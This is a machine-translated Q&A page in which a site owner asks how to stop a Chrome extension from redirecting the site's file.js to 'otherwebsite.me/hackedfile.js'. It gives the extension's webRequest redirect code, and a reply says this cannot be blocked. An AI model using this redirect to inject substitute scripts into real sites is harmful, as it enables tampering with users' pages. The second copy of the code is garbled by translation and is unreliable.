Javascript 如何防止网站上的自定义重定向?

Javascript 如何防止网站上的自定义重定向?,javascript,Javascript,通过使用浏览器扩展(特别是Google Chrome),可以拦截浏览器资源加载。以下是示例代码: chrome.webRequest.onBeforeRequest.addListener(function (details) { if (details.url.includes('https://website.com/file.js')) { chrome.pageAction.show(details.tabId); return {

通过使用浏览器扩展(特别是Google Chrome),可以拦截浏览器资源加载。以下是示例代码:

chrome.webRequest.onBeforeRequest.addListener(function (details) {

    if (details.url.includes('https://website.com/file.js')) {
        chrome.pageAction.show(details.tabId);
            return {
                redirectUrl: "https://otherwebsite.me/hackedfile.js"
            };
    }

}, {
    urls: ["<all_urls>"]
}, ["blocking"]);
chrome.webRequest.onBeforeRequest.addListener(函数(详细信息)){
if(details.url.includes('https://website.com/file.js')) {
chrome.pageAction.show(details.tabId);
返回{
重定向URL:“https://otherwebsite.me/hackedfile.js"
};
}
}, {
URL:[“”]
},[“阻塞]);

我只是想知道,我怎样才能阻止扩展这么做?这对我来说太烦人了。

你无法阻止它。@MadhawaPriyashantha-woow,那是个严重的问题!浏览器DeV应该考虑提供一些方法来防止可能危及安全的方法。通常谷歌不会允许这种插件添加到那里。但是很少有恶意插件会欺骗谷歌代码复查。他们经常这样做是为了破解网络游戏。我现在面临着这个问题。